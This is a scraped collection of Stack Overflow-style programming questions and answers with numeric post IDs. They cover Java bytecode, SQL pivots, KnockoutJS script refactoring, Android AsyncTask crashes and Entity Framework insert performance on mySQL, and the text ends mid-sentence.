<p>Output of <code>javap -c Temp</code>:</p> <pre><code>public class Temp { public Temp(); Code: 0: aload_0 1: invokespecial #1 // Method java/lang/Object."&lt;init&gt;":()V 4: return public static final void main(java.lang.String[]); Code: 0: iconst_0 1: istore_1 2: iload_1 3: bipush 10 5: if_icmpge 42 8: iload_1 9: iconst_1 10: if_icmpge 28 13: new #2 // class java/util/Date 16: dup 17: invokespecial #3 // Method java/util/Date."&lt;init&gt;":()V 20: astore_2 21: getstatic #4 // Field java/lang/System.out:Ljava/io/PrintStream; 24: aload_2 25: invokevirtual #5 // Method java/io/PrintStream.println:(Ljava/lang/Object;)V 28: getstatic #4 // Field java/lang/System.out:Ljava/io/PrintStream; 31: ldc #6 // String loop end 33: invokevirtual #7 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 36: iinc 1, 1 39: goto 2 42: return } </code></pre>
17594551	0	 <p>In the XAML you're setting the property to the default value which will not cause the <code>PropertyChanged</code> handler to fire. The boilerplate Get and Set methods will never be called unless you call them from code because properties set in XAML call <code>GetValue</code> and <code>SetValue</code> directly (as is the case with wrapper properties on a normal DP).</p> <p>To ensure the change handler is always called when a value is set you could use a <code>Nullable&lt;HorizontalAlignment&gt;</code> instead and set the default to <code>null</code>.</p>
20109023	0	 <p>The problem is that your <code>fscanf</code> will never read the newline at the end of the first line. So when it is called the second time, it will fail (returning 0, not EOF) and read nothing, leaving <code>buffer</code> unchanged.</p> <p>You could add a call to <code>fscanf("%*[\n]");</code> at the end of your while loop to skip the newline (and any blank lines that might occur). Or you could just use <code>fgets</code> instead, which also makes it easier to avoid the potential buffer overflow problem.</p>
30963407	0	Warning that "unknown addresses are found in partition table" <p>When using Hazelcast, I get warnings like:</p> <pre><code>Jun 21, 2015 11:10:15 AM com.hazelcast.partition.InternalPartitionService WARNING: [192.168.0.18]:5701 [5a11] [3.4.2] Following unknown addresses are found\ in partition table sent from master[Address[192.168.0.9]:5701]. (Probably they have recently joined or left the cluster.) { Address[192.168.0.13]:5701 } Jun 21, 2015 11:10:29 AM com.hazelcast.partition.InternalPartitionService WARNING: [192.168.0.18]:5701 [5a11] [3.4.2] Following unknown addresses are found\ in partition table sent from master[Address[192.168.0.20]:5701]. (Probably they have recently joined or left the cluster.) { Address[192.168.0.11]:5701 Address[192.168.0.17]:5701 } Warning: irregular exit, check log </code></pre> <p>What is the cause, and do I have to take actions to avoid these warnings?</p> <hr> <p>Details:</p> <p>These warning occur at the end of my distributed computations, and not for all instances. So it is very likely that some other instances have terminated and thus "recently left the cluster" when this warning occurs. </p> <p>But why does an instance leaving cause an unknown address? Does this mean the instance <code>x</code> giving the warning somehow found out that instance <code>y</code> has left, and the master hasn't yet found out and sends the address of <code>y</code> to <code>x</code>, causing this warning?</p> <p>Should I take actions to avoid this warning? Does it mean that <code>y</code> forgets some cleanup it is supposed to do at the end so that the master immediately finds out that <code>y</code> leaves the cluster? The only cleanup the instances are performing is <code>shutdown()</code> of their <code>HazelcastInstance</code>.</p> <p>Is the irregular exit at the end of my log messages caused by the inconsistency in the partition table?</p>
23913310	0	 <p>If you have only one value for each key for each user:</p> <pre><code>select P.* from Table1 as t pivot ( max(Value) for [Key] in ([Address], [Number], [Sport], [Document]) ) as P </code></pre> <p>or</p> <pre><code>select t.Usr, max(case when t.[Key] = 'Address' then t.[Value] end) as Address, max(case when t.[Key] = 'Number' then t.[Value] end) as Number, max(case when t.[Key] = 'Sport' then t.[Value] end) as Sport, max(case when t.[Key] = 'Document' then t.[Value] end) as Document from Table1 as t group by t.Usr </code></pre> <p><strong><kbd><a href="http://sqlfiddle.com/#!3/cd68cc/4" rel="nofollow">sql fiddle demo</a></kbd></strong></p>
28614566	0	 <p>The OS handles scheduling and dispatching of ready threads, (those that require CPU), onto cores, managing CPU execution in a similar fashion as it manages other resources. A cache-miss is no reason to swap out a thread. A page-fault, where the desired page is not loaded into RAM at all, may cause a thread to be blocked until the page gets loaded from disk. The memory-management hardware does that by generating a hardware interrupt to an OS driver that handles the page-fault.</p>
18300412	0	Why simply use PHP variables for dynamic stylesheets? <p>I've been reading about dynamic stylesheets and have stumbled across several options, including sass, and less. But my question is why not just turn my <code>stylesheet.css</code> into <code>stylesheet.css.php</code> and simply use php variables. Then, I avoid all the dependency issues associated with all these other approaches. </p> <p>Am I overlooking some serious problems by doing it this way?</p>
12009827	0	 <p>Yes, this looks like VS2003 bug. Workaround is simple - use typedef, it works this way:</p> <pre><code>class A { public: int x; }; class B : public A { public: class A { public: int y; }; }; typedef B::A BA; class C: public BA {}; void f() { C cc; cc.y = 0; } </code></pre>
36410229	0	Pattern for moving javascript out of the markup <p><strong>tl;dr</strong> How do I refactor a typical .NET+KnockoutJS site using lots of server generated blocks (controllers) into one where all js is loaded separately from the markup?</p> <p>Up until now all my foray into front-end development has been new projects, built from the ground using modern tooling and workflows, such as React, Redux, isomorphic rendering, etc. Yesterday a legacy project (ok, made three years ago) landed on my lap, and it features "blocks" (an EPi Server term basically meaning templates) such as this:</p> <p><strong>MySuperSlider.ascx</strong></p> <pre><code>&lt;!-- ko foreach: products() --&gt; &lt;div class="my-super-slider"&gt; &lt;a data-bind="attr: { href: ProductUrl }"&gt; &lt;h1 data-bind="text: name"&gt;&lt;/h1&gt; &lt;img src="" data-bind="attr: { src : image.uri }" &lt;/a&gt; &lt;/div&gt; &lt;!-- /ko --&gt; &lt;script type="text/javascript"&gt; // Make a call to the back-end to retrieve the product data used // in the KO template above and apply it ko.applyBindings(new SliderBlock( '&lt;%# ProductsController.GetServiceUrl(ProductsController.BlockUrl, Request.Url)%&gt;', '&lt;%# CurrentPage.PageLink.ID %&gt;', '&lt;%# GetBlockId() %&gt;', '&lt;%# (CurrentPage as SitePageDataBase) == null?string.Empty:(CurrentPage as SitePageDataBase).ProductPageUrl %&gt;?id=', '&lt;%# ContentLanguageCode %&gt;', "&lt;%# SliderContentBlock.ClientID %&gt;"), document.getElementById("&lt;%# SliderContentBlock.ClientID %&gt;")); &lt;/script&gt; </code></pre> <p>Blocks, such as this one, are being reused all over the site, but with different settings (ref <code>SliderContentBlock.ClientID</code> which would fetch data for that current block). The fact that the referenced variables are unique for each block instance and rendered at runtime makes it impossible/hard to split the js out. Except possibly using some <code>data</code> attributes that could later be picked up?</p> <p><strong>Problem: <code>&lt;script&gt;</code> tags cannot be moved out of <code>&lt;head&gt;</code></strong></p> <p>It is currently impossible to move <code>&lt;script&gt;</code> tags out of <code>&lt;head&gt;</code>, thus blocking the rendering pipeline. Neither moving after them after <code>&lt;body&gt;</code> or using <code>async</code> or <code>defer</code> attributes is possible as this would make any inline <code>&lt;script&gt;</code> blocks referring to the <code>ko</code> variable break.</p> <p>So what is a good strategy for refactoring the above code into something that will work regardless of whether the knockout library has been loaded or not?</p> <p><strong>Hacky solution</strong></p> <p>The fastest (and probably most brittle) solution would be to create an array to hold initialization functions that could then be executed later on. Something like</p> <pre><code>&lt;head&gt; &lt;script&gt;window.initFuncs = [];&lt;/script&gt; &lt;/head&gt; &lt;body&gt; ... &lt;!-- inline code pushing init code in the queue --&gt; ... &lt;script&gt;initFuncs.forEach( fn =&gt; fn() );&lt;/script&gt; &lt;/body&gt; </code></pre> <p>Then all I would need to do to defer execution of the above javascript would be to wrap it in a <code>window.initFuncs.push( () =&gt; { ko.applyBindings(/* js goes here */) })</code></p> <p>This would work, but does not exactly seem like the way to go. But this problem must have been solved a million times before (?). How does other Knockout developers do this?</p> <p>I cannot simply move <em>all</em> of the javascript (as it is) out into separate files, as variables are being inserted into the markup during server rendering.</p> <p><strong>Attempt at better solution</strong></p> <p>I am not a .NET developer, but I feel the logic in the template with all the variable substitution would be better done in the backing code, instead of pushing all the details into the front-end. Not sure how that would be done, though.</p>
6448456	0	Move to eclipse Indigo? <p>Now that the new version of eclipse is out should I move to immediately? If my plug-ins work in Galileo will it work in the indigo?</p>
15871512	0	Three.js: vertexNormals of CircleGeometry looks inverse on r57 <p>VertexNormals of CircleGeometry looks inverse. If I use computeVertexNormals(), it is fixed. I'm using r57 and confirmed with Firefox19 and IE9+ChromeFrame26.</p> <p>If it is already reported, ignore it.</p>
6954485	0	 <p>Here is a good SO question that i think addresses this:</p> <p><a href="http://stackoverflow.com/questions/2611350/intercept-paste-event-on-htmleditor-winforms">Intercept paste event on HtmlEditor WinForms</a></p> <p>You have to sub-class it and stop the paste message from getting farther down, by overriding WndPrc. Then, call your own function to handle the paste. </p> <p>I think there is an easier way to locate the paste message, though. Ignore his code for inserting the content, since that doesn't apply to an RTF.</p>
27642754	0	 <p>Register a role resolver. See my example here: <a href="https://github.com/strongloop/loopback-example-access-control/blob/master/server/boot/create-role-resolver.js" rel="nofollow">https://github.com/strongloop/loopback-example-access-control/blob/master/server/boot/create-role-resolver.js</a></p>
5932275	0	 <p>Because in one case its a pointer and in the other a reference:</p> <p>int a=&amp;x means set a to the address of x - wrong</p> <p>int &amp;p=fun() means set p to a reference to an int - ok</p>
16693427	0	 <p>Please check the Last Lien of Code,</p> <pre><code> panel.add(btnInspector );// repalce btnInspector with btnToolBox </code></pre>
21425966	0	ObjectListView Column Reordering <p>I've got a <code>dataTreeListView</code> which has got afew column headers as added to it as follows:</p> <pre><code>oCol2.IsVisible = false; dataTreeListView.AllColumns.AddRange(new OLVColumn[] { oCol1, oCol2, oCol3, oCol4, oCol5}); dataTreeListView.KeyAspectName = id; dataTreeListView.ParentKeyAspectName = ParentId; dataTreeListView.DataSource = list; dataTreeListView.RootKeyValue = 0; </code></pre> <p>The list itself has got 7 properties (inclusive of <code>Id</code> and <code>ParentId</code>).</p> <p>What I'm trying to achieve is that, upon <code>selectedIndex</code> change of a combo box, the column header will change position.</p> <pre><code>From View (type1) (oCol2.IsVisible = false): oCol1 (expandable) | oCol2 (hidden) | oCol3 | oCol4 | oCol5 To View (type2) (oCol2.IsVisible = true): oCol2 | oCol1 (expandable) | oCol3 | oCol4 | oCol5 </code></pre> <p>What I got now is view (type1) is working correctly, but after switching to view type2, the expandable column is still at oCol1 instead of oCol2. It seems that I could not <code>switch</code> the primary column.</p> <p>Any help for this?</p>
17163043	0	Unable to ‎WebKit Layout Tests‎ on android <ul> <li>Compile the chromium for Android<br> Build every test: </li> </ul> <p><code>$ ninja -C out/Release</code></p> <ul> <li>Running the layout Tests </li> </ul> <p><code>$ webkit/tools/layout_tests/run_webkit_tests.sh</code></p> <p>I get following errors:</p> <blockquote> <p>Using port 'chromium-linux-x86_64' Test configuration: Placing test results in /host/chromium/src/webkit/Release/layout-test-results Baseline search path: chromium-linux -> chromium-win -> generic Using Release build Pixel tests enabled Regular timeout: 6000, slow test timeout: 30000 Command line: /host/chromium/src/third_party/WebKit/out/Release/DumpRenderTree -</p> <p>Found 29487 tests; running 28395, skipping 1092. Unable to find test driver at /host/chromium/src/third_party/WebKit/out/Release/DumpRenderTree</p> <p>For complete Linux build requirements, please see:</p> <p><a href="http://code.google.com/p/chromium/wiki/LinuxBuildInstructions" rel="nofollow">http://code.google.com/p/chromium/wiki/LinuxBuildInstructions</a><br> Build check failed</p> </blockquote>
23787600	0	 <p>Here's a simple option, using <code>data.table</code> instead:</p> <pre><code>library(data.table) dt = as.data.table(your_df) setkey(dt, id, date) # in versions 1.9.3+ dt[CJ(unique(id), unique(date)), .N, by = .EACHI] # id date N # 1: Andrew13 2006-08-03 0 # 2: Andrew13 2007-09-11 1 # 3: Andrew13 2008-06-12 0 # 4: Andrew13 2008-10-11 0 # 5: Andrew13 2009-07-03 0 # 6: John12 2006-08-03 1 # 7: John12 2007-09-11 0 # 8: John12 2008-06-12 0 # 9: John12 2008-10-11 0 #10: John12 2009-07-03 0 #11: Lisa825 2006-08-03 0 #12: Lisa825 2007-09-11 0 #13: Lisa825 2008-06-12 0 #14: Lisa825 2008-10-11 0 #15: Lisa825 2009-07-03 1 #16: Tom2993 2006-08-03 0 #17: Tom2993 2007-09-11 0 #18: Tom2993 2008-06-12 1 #19: Tom2993 2008-10-11 1 #20: Tom2993 2009-07-03 0 </code></pre> <p>In versions 1.9.2 or before the equivalent expression omits the explicit <code>by</code>:</p> <pre><code>dt[CJ(unique(id), unique(date)), .N] </code></pre> <p>The idea is to create all possible pairs of <code>id</code> and <code>date</code> (which is what the <code>CJ</code> part does), and then merge it back, counting occurrences.</p>
14286676	0	Elegant way to iterate in C++ <p>Let's say I have a vector of Polygons, where each polygon contains a vector of Points. I have to iterate over all the points of all the polygons many times in my code, I end up having to write the same code over and over again:</p> <pre><code>for(std::vector&lt;Polygon*&gt;::const_iterator polygon = polygons.begin(); polygon != polygons.end(); polygon++) { for(std::vector&lt;Point&gt;::const_iterator point = (*polygon)-&gt;points.begin(); point != (*polygon)-&gt;points.end(); point++) { (*point).DoSomething(); } } </code></pre> <p>I really feel that is a lot of code for two simple iterations, and feel like it's clogging the code and interfering with the readability.</p> <p>Some options I thought are:</p> <ul> <li>using #defines - but it would make unportable (to use in other parts of the code). Furthermore, #defines are considered evil nowadays;</li> <li>iterate over vector->size() - it doesn't seem the most elegant way;</li> <li>calling a method with a function pointer - but in this case, the code that should be inside of the loop would be far from the loop.</li> </ul> <p>So, what would be the most clean and elegant way of doing this?</p>
14952458	0	 <p>I guess you mean something like services running in the background and use GPS? So that you don't activate the GPS yourself but it's still running? In that case there's no way I know to get all Apps that are allowed to use GPS in background. You can go to your Settings->Apps and check the permissions which apps are allowed to use GPS.</p> <p>A typicall background GPS user is the facebook app (or google+ I guess). Hope this helps.</p> <p>Edit: Alternativly you could disable GPS when you don't need it so that no app has the possibility to use it in background.</p>
33356273	0	 <blockquote> <p>The first parameter contains the name of the view file (in this example the file would be called blog_template.php), and the second parameter contains an associative array of data to be replaced in the template.</p> </blockquote> <pre><code>$data = array( 'blog_title' =&gt; 'My Blog Title', 'blog_heading' =&gt; 'My Blog Heading', 'blog_entries' =&gt; array( array('0' =&gt; 'Title 1', 'body' =&gt; 'Body 1'), array('1' =&gt; 'Title 2', 'body' =&gt; 'Body 2'), array('2' =&gt; 'Title 3', 'body' =&gt; 'Body 3'), array('3' =&gt; 'Title 4', 'body' =&gt; 'Body 4'), array('4' =&gt; 'Title 5', 'body' =&gt; 'Body 5') )); foreach ($data['blog_entries'] as &amp;$arr) { foreach ($arr as $k =&gt; $v) { if (is_numeric($k)) { $arr['title'] = $v; unset($arr[$k]); } } $arr = array_reverse($arr); } echo '&lt;pre&gt;', var_dump($data);exit; </code></pre> <p>But you should be aware of eventual changes of structure of <code>$data</code> array. So if your api would export one more element with numeric key to that array, this code would be broken probably. You can check and test it though.</p>
11942643	0	How to handle slow network connection in Java/Android <p>I have an app that uses many, many calls to a MySQL database; it does this inside an <code>AsyncTask</code>. Below is a sample of what one may look like.</p> <p>My main question is this; sometimes, the host (Godaddy, ugh) decides to stall a connection and my <code>progressDialog</code> loads, and loads, and loads some more, until there is a force close and the app crashes. Especially if the user tries to interrupt it (most I have set to non-cancelable, however).</p> <p>Is there a better way to handle this than I am below? I am doing it in a <code>try</code>/<code>catch</code>, but not sure how to use that to my advantage.</p> <pre><code>class Task extends AsyncTask&lt;String, String, Void&gt; { private ProgressDialog progressDialog = new ProgressDialog( MasterCat.this); InputStream is = null; String result = ""; protected void onPreExecute() { progressDialog.setMessage("Loading..."); progressDialog.show(); progressDialog.setCancelable(false); } @Override protected Void doInBackground(String... params) { String url_select = "http://www.---.com/---/master.php"; HttpClient httpClient = new DefaultHttpClient(); HttpPost httpPost = new HttpPost(url_select); ArrayList&lt;NameValuePair&gt; param = new ArrayList&lt;NameValuePair&gt;(); try { httpPost.setEntity(new UrlEncodedFormEntity(param)); HttpResponse httpResponse = httpClient.execute(httpPost); HttpEntity httpEntity = httpResponse.getEntity(); // read content is = httpEntity.getContent(); } catch (Exception e) { Log.e("log_tag", "Error in http connection " + e.toString()); } try { BufferedReader br = new BufferedReader( new InputStreamReader(is)); StringBuilder sb = new StringBuilder(); String line = ""; while ((line = br.readLine()) != null) { sb.append(line + "\n"); } is.close(); result = sb.toString(); } catch (Exception e) { // TODO: handle exception Log.e("log_tag", "Error converting result " + e.toString()); } return null; } protected void onPostExecute(Void v) { String cat; try { jArray = new JSONArray(result); JSONObject json_data = null; for (int i = 0; i &lt; jArray.length(); i++) { json_data = jArray.getJSONObject(i); cat = json_data.getString("category"); cats.add(cat); } } catch (JSONException e1) { Toast.makeText(getBaseContext(), "No Categories Found", Toast.LENGTH_LONG).show(); } catch (ParseException e1) { e1.printStackTrace(); } ListView listView = getListView(); listView.setTextFilterEnabled(true); listView.setOnItemClickListener(new OnItemClickListener() { public void onItemClick(AdapterView&lt;?&gt; arg0, View arg1, int arg2, long id) { Intent i = new Intent(getApplicationContext(), Items.class); i.putExtra("category", cats.get(arg2)); startActivity(i); } }); progressDialog.dismiss(); MasterCatAdapter adapter = new MasterCatAdapter(MasterCat.this, cats); setListAdapter(adapter); } } </code></pre> <p>Edit: Now I AM assuming the force close is because of the poor connection; but I will try to get alogcat up when I can recreate it.</p> <p>Edit2: here is LogCat:</p> <pre><code>08-13 14:57:00.580: E/WindowManager(2262): Activity com.---.---.MyFragmentActivity has leaked window com.android.internal.policy.impl.PhoneWindow$DecorView@42b02cd0 that was originally added here 08-13 14:57:00.580: E/WindowManager(2262): android.view.WindowLeaked: Activity com.---.---.MyFragmentActivity has leaked window com.android.internal.policy.impl.PhoneWindow$DecorView@42b02cd0 that was originally added here 08-13 14:57:00.580: E/WindowManager(2262): at android.view.ViewRootImpl.&lt;init&gt;(ViewRootImpl.java:374) 08-13 14:57:00.580: E/WindowManager(2262): at android.view.WindowManagerImpl.addView(WindowManagerImpl.java:292) 08-13 14:57:00.580: E/WindowManager(2262): at android.view.WindowManagerImpl.addView(WindowManagerImpl.java:224) 08-13 14:57:00.580: E/WindowManager(2262): at android.view.WindowManagerImpl$CompatModeWrapper.addView(WindowManagerImpl.java:149) 08-13 14:57:00.580: E/WindowManager(2262): at android.view.Window$LocalWindowManager.addView(Window.java:547) 08-13 14:57:00.580: E/WindowManager(2262): at android.app.Dialog.show(Dialog.java:277) 08-13 14:57:00.580: E/WindowManager(2262): at com.---.---.MyFragmentActivity$RateFragment$RatingTask.onPreExecute(MyFragmentActivity.java:374) 08-13 14:57:00.580: E/WindowManager(2262): at android.os.AsyncTask.executeOnExecutor(AsyncTask.java:586) 08-13 14:57:00.580: E/WindowManager(2262): at android.os.AsyncTask.execute(AsyncTask.java:534) 08-13 14:57:00.580: E/WindowManager(2262): at com.---.---.MyFragmentActivity$RateFragment$insertTask.onPostExecute(MyFragmentActivity.java:520) 08-13 14:57:00.580: E/WindowManager(2262): at com.---.---.MyFragmentActivity$RateFragment$insertTask.onPostExecute(MyFragmentActivity.java:1) 08-13 14:57:00.580: E/WindowManager(2262): at android.os.AsyncTask.finish(AsyncTask.java:631) 08-13 14:57:00.580: E/WindowManager(2262): at android.os.AsyncTask.access$600(AsyncTask.java:177) 08-13 14:57:00.580: E/WindowManager(2262): at android.os.AsyncTask$InternalHandler.handleMessage(AsyncTask.java:644) 08-13 14:57:00.580: E/WindowManager(2262): at android.os.Handler.dispatchMessage(Handler.java:99) 08-13 14:57:00.580: E/WindowManager(2262): at android.os.Looper.loop(Looper.java:137) 08-13 14:57:00.580: E/WindowManager(2262): at android.app.ActivityThread.main(ActivityThread.java:4745) 08-13 14:57:00.580: E/WindowManager(2262): at java.lang.reflect.Method.invokeNative(Native Method) 08-13 14:57:00.580: E/WindowManager(2262): at java.lang.reflect.Method.invoke(Method.java:511) 08-13 14:57:00.580: E/WindowManager(2262): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:786) 08-13 14:57:00.580: E/WindowManager(2262): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:553) 08-13 14:57:00.580: E/WindowManager(2262): at dalvik.system.NativeStart.main(Native Method) 08-13 14:57:00.588: D/AndroidRuntime(2262): Shutting down VM 08-13 14:57:00.588: W/dalvikvm(2262): threadid=1: thread exiting with uncaught exception (group=0x4200b300) 08-13 14:57:00.596: E/AndroidRuntime(2262): FATAL EXCEPTION: main 08-13 14:57:00.596: E/AndroidRuntime(2262): java.lang.NullPointerException 08-13 14:57:00.596: E/AndroidRuntime(2262): at com.---.---.MyFragmentActivity$RateFragment$RatingTask.onPostExecute(MyFragmentActivity.java:461) 08-13 14:57:00.596: E/AndroidRuntime(2262): at com.---.---.MyFragmentActivity$RateFragment$RatingTask.onPostExecute(MyFragmentActivity.java:1) 08-13 14:57:00.596: E/AndroidRuntime(2262): at android.os.AsyncTask.finish(AsyncTask.java:631) 08-13 14:57:00.596: E/AndroidRuntime(2262): at android.os.AsyncTask.access$600(AsyncTask.java:177) 08-13 14:57:00.596: E/AndroidRuntime(2262): at android.os.AsyncTask$InternalHandler.handleMessage(AsyncTask.java:644) 08-13 14:57:00.596: E/AndroidRuntime(2262): at android.os.Handler.dispatchMessage(Handler.java:99) 08-13 14:57:00.596: E/AndroidRuntime(2262): at android.os.Looper.loop(Looper.java:137) 08-13 14:57:00.596: E/AndroidRuntime(2262): at android.app.ActivityThread.main(ActivityThread.java:4745) 08-13 14:57:00.596: E/AndroidRuntime(2262): at java.lang.reflect.Method.invokeNative(Native Method) 08-13 14:57:00.596: E/AndroidRuntime(2262): at java.lang.reflect.Method.invoke(Method.java:511) 08-13 14:57:00.596: E/AndroidRuntime(2262): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:786) 08-13 14:57:00.596: E/AndroidRuntime(2262): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:553) 08-13 14:57:00.596: E/AndroidRuntime(2262): at dalvik.system.NativeStart.main(Native Method) </code></pre> <p>Edit: Here is the Task that is in a different activity but being referenced in LogCat:</p> <pre><code>class RatingTask extends AsyncTask&lt;String, String, Void&gt; { private ProgressDialog progressDialog = new ProgressDialog( getActivity()); InputStream is = null; String result = ""; protected void onPreExecute() { progressDialog.setMessage("Loading..."); progressDialog.show(); progressDialog.setOnCancelListener(new OnCancelListener() { public void onCancel(DialogInterface dialog) { RatingTask.this.cancel(true); } }); } @Override protected Void doInBackground(String... params) { String url_select = "http://www.---.com/---/get_ratings.php"; ArrayList&lt;NameValuePair&gt; param = new ArrayList&lt;NameValuePair&gt;(); param.add(new BasicNameValuePair("item", Item)); param.add(new BasicNameValuePair("category", Category)); HttpClient httpClient = new DefaultHttpClient(); HttpPost httpPost = new HttpPost(url_select); try { httpPost.setEntity(new UrlEncodedFormEntity(param)); HttpResponse httpResponse = httpClient.execute(httpPost); HttpEntity httpEntity = httpResponse.getEntity(); // read content is = httpEntity.getContent(); } catch (Exception e) { Log.e("log_tag", "Error in http connection " + e.toString()); } try { BufferedReader br = new BufferedReader( new InputStreamReader(is)); StringBuilder sb = new StringBuilder(); String line = ""; while ((line = br.readLine()) != null) { sb.append(line + "\n"); } is.close(); result = sb.toString(); } catch (Exception e) { Log.e("log_tag", "Error converting result " + e.toString()); } return null; } protected void onPostExecute(Void v) { String starTotal = null, starAvg = null; try { JSONArray jArray = new JSONArray(result); JSONObject json_data = null; for (int i = 0; i &lt; jArray.length(); i++) { json_data = jArray.getJSONObject(i); starTotal = json_data.getString("TotalRating"); starAvg = json_data.getString("AverageRating"); } } catch (JSONException e1) { Log.e("log_tag", "Error in http connection " + e1.toString()); Toast.makeText(getActivity(), "JSONexception", Toast.LENGTH_LONG).show(); } catch (ParseException e1) { e1.printStackTrace(); } int total = 0; if (starTotal != null) { total = Integer.parseInt(starTotal); } else { starTotal = "0"; } if (total &gt; 0) { total = Integer.parseInt(starTotal); } else { total = 0; } StarTotal = (TextView) getActivity().findViewById( R.id.tvStarTotal); StarTotal.setText("(" + String.valueOf(total) + (")")); float avg = 0.f; try { avg = Float.parseFloat(starAvg); } catch (NumberFormatException e) { avg = 0; } DecimalFormat myFormat = new DecimalFormat("0.00"); StarNumbers = (TextView) getActivity().findViewById( R.id.tvStarNumber); StarNumbers.setText(myFormat.format(avg)); ratingsBarTwo.setRating(Float.valueOf(avg)); progressDialog.dismiss(); } } </code></pre>
23275948	0	 <p>I've seen such behavior before, it is probably tomcat and not ec2. Check the following:</p> <p>1- Your threading configuration (maxThreads and acceptCount). I've seen this behavior using the blocking connector when currentThreadsBusy > maxThreads. Check that you have enough threads or use the non-blocking (nio) connector.</p> <p>2- Check that your connection pool can reconnect lost connections automatically (autoReconnect=true in the jdbc url), your threads might be waiting db io on lost connections.</p> <p>Anyway, your ec2 instance is probably still working...</p>
24281473	0	How to disable the dropdownlist in DetailView depending on the date? <p>I'm using a <code>DropDownList</code> in the <code>DetailView</code> (EditMode) and I would like to disable it depending on the date of the system. For example : between the 18 June and the 20 June, make the dropdownlist <em>disabled</em> (gray).</p> <p>Any idea ?</p>
15200646	0	Get actual size of a gzip file in android <p>I am using GZIPInputStream to download pdf file I want to show the download progress of the file on a UI button. But, I am not getting the actual size of the file , what I am getting is compressed size due to which I am unable to show the correct download progress. This download progress is exceeding 100 as the actual file size is greater than the compressed size of file. Header content of file from server : - Following info I receive from server, from which I am using content-length which is giving compressed file size.</p> <p>1.Connection 2.Content-Encoding 3.Content-length 4.Content-Type 5.Keep-Alive 6.Server 7.Date</p> <p>Here is my code.</p> <pre><code> long fileLength = httpResponse.getEntity().getContentLength();// GZIPInputStream input = new GZIPInputStream(new BufferedInputStream(httpResponse.getEntity().getContent())); FileOutputStream output = new FileOutputStream(destinationFilePath); byte data[] = new byte[1024]; long total = 0; float percentage = 0; int count; currentDownloadingPercentage=0; while ((count = input.read(data)) != -1) { total += count; output.write(data, 0, count); // publishing the progress.... percentage = (float)total/(float)fileLength; percentage *= 100; if((int)percentage &gt; (int)currentDownloadingPercentage) { currentDownloadingPercentage = percentage; Bundle resultData = new Bundle(); resultData.putBoolean(DOWNLOAD_FAILED, false); resultData.putInt(DOWNLOAD_PROGRESS ,(int)percentage); receiver.send(processID, resultData); resultData = null; } } </code></pre>
16994894	0	 <p>try catching the array values in a reference:</p> <pre><code>MyClass &amp;* item1 = *pointerArray + i; MyClass &amp;* item2 = *pointerArray + i + 1; </code></pre> <p>then you shouldn't need to re-assign the values after the fact.</p> <p>EDIT: What you were doing is essentially making a copy to the pointers in item1, item2. Swapping them swapped the copies, but not the original. You could try omitting the copies and just doing something like this:</p> <pre><code>Swap(&amp;(*pointerArray + i), &amp;(*pointerArray + i + 1)); </code></pre>
2781739	0	Loading .eml files into javax.mail.Messages <p>I'm trying to unit test a method which processes <code>javax.mail.Message</code> instances.</p> <p>I am writing a converter to change emails which arrive in different formats and are then converted into a consistent internal format (<code>MyMessage</code>). This conversion will usually depend on the from-address or reply-address of the email, and the parts of the email, the subject, and the from- and reply-addresses will be required for creating the new <code>MyMessage</code>.</p> <p>I have a collection of raw emails which are saved locally as <code>.eml</code> files, and I'd like to make a unit test which loads the <code>.eml</code> files from the classpath and converts them to <code>javax.mail.Message</code> instances. Is this possible, and if so, how would it be done?</p>
20151063	0	Run app with a clean database everytime <p>I'm creating an app which uses a database.</p> <p>I'm refining the database, fixing errors and so on. But the <code>onCreate()</code> method of my helper is called only once. So, after the first test, the app's still using the old, and wrong database.</p> <p>I can implement the <code>onUpgrade()</code> method, but this seems odd to me, since I'm actually fixing errors and I'll find many of them. Is this the right way to do it? Playing with database version numbers?</p> <p>Is there any simpler method?</p>
15631204	0	Entity Framework Performance With Simple Insert is terrible <p>I am using EF 5 with code first against mySQL 5.5.25 with the 6.5.6 mySQL DotNet connector (However it is not the connector as the DevArt connector exhibits the same performance) and have an entity as follows:</p> <pre><code>public class SocialMediaEventEntity { public virtual int Id { get; set; } //PK public virtual DateTime Date{ get; set; } public virtual string ProvIdType{ get; set; } public virtual string ProviderId{ get; set; } public virtual int Rendered{ get; set; } public virtual int Sent{ get; set; } public virtual decimal UserId { get; set; } public virtual string UserName { get; set; } public virtual string UserScreenName { get; set; } public virtual string UserDescription { get; set; } public virtual ICollection&lt;HistoryEntity&gt; Messages { get; set; } } </code></pre> <p>It uses the following Code First to configure the keys etc.</p> <pre><code> HasKey(entity =&gt; entity.Id); Property(entity =&gt; entity.Id).HasDatabaseGeneratedOption(DatabaseGeneratedOption.Identity).IsRequired(); </code></pre> <p>Ultimately I am adding a single row to this table via:</p> <pre><code> var socialEvent = new SocialMediaEventEntity() { Date = ADate, ProviderId = AProviderId, ProvIdType = AProviderIdType, Rendered = ARendered, Sent = ASent, UserId = AUserId, UserName = AUserName ?? string.Empty, UserScreenName = AUserScreenName ?? string.Empty, UserDescription = AUserDescription ?? string.Empty, Messages = new List&lt;HistoryEntity&gt;() }; MyDBContext.SocialMediaEvents.Add(socialEvent); </code></pre> <p>Under the skin this generates the expected SQL of:</p> <pre><code>INSERT INTO tblSocialMediaEvents(`Date`, ProvIdType, ProviderId, Rendered, Sent, UserId, UserName, UserScreenName, UserDescription) VALUES ('2013-03-25 14:26:30', 'Twitter', '316028289447763968', 0, 0, 280310495, 'ChuBbyBhu', 'Komang Trinda Dewi', 'Always smile,,,but no crazy..:D\r All must be beautiful in its time' </code></pre> <p>Now the INSERT statement when profiled on my machine is very quick in the order of ~1ms, but the call to:</p> <pre><code>MyDBContext.SaveChanges(); </code></pre> <p>Takes anything from ~20 to ~40ms and occasionally > 100ms. </p> <p><img src="https://i.stack.imgur.com/cnDxf.png" alt="enter image description here"></p> <p>When I profile the code I see that its actually the transaction commit that is taking most of the time. However this is not the case when I do exactly the same SQL within a transaction into mySQL.</p> <p>So my questions are:</p> <ul> <li>How do I improve performance of this code? Aside from call SaveChanges() less often?</li> <li>Why is the transaction commit taking so much longer than when it is done executing the same code in a mySQL client tool like HeidiSQL?</li> </ul> <p>Appreciate any help and pointers.</p> <blockquote> <p>Edit: I have used the exact same code against SQL Server 2008 Express and performance is spectacular. Generally INSERTS are &lt; 